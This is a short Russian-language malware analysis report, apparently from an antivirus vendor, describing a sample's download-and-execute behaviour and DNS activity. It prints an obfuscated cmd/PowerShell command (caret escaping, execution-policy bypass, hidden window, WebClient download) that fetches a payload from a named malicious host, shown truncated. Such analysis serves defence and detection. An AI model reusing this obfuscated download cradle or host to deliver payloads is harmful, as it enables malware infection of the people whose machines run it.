Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://sutraponef.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "po^we^Rsh^elL.eX^e^ -exeC^uT^i^oNP^O^licY^ ^b^Yp^As^S -^NOPrOf^ilE^ -wIndOw^sT^Yle^ HiDDe^N^ (^ne^w^-o^B^jeC^T^ S^YST^EM.nE^t.^WebCL^ieNT^).d^oWN^L^oaDFiLE^('http://sutraponef.t...
Сетевая активность
UDP
- DNS ASK su###ponef.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "po^we^Rsh^elL.eX^e^ -exeC^uT^i^oNP^O^licY^ ^b^Yp^As^S -^NOPrOf^ilE^ -wIndOw^sT^Yle^ HiDDe^N^ (^ne^w^-o^B^jeC^T^ S^YST^EM.nE^t.^WebCL^ieNT^).d^oWN^L^oaDFiLE^('http://sutraponef.t...' (со скрытым окном)
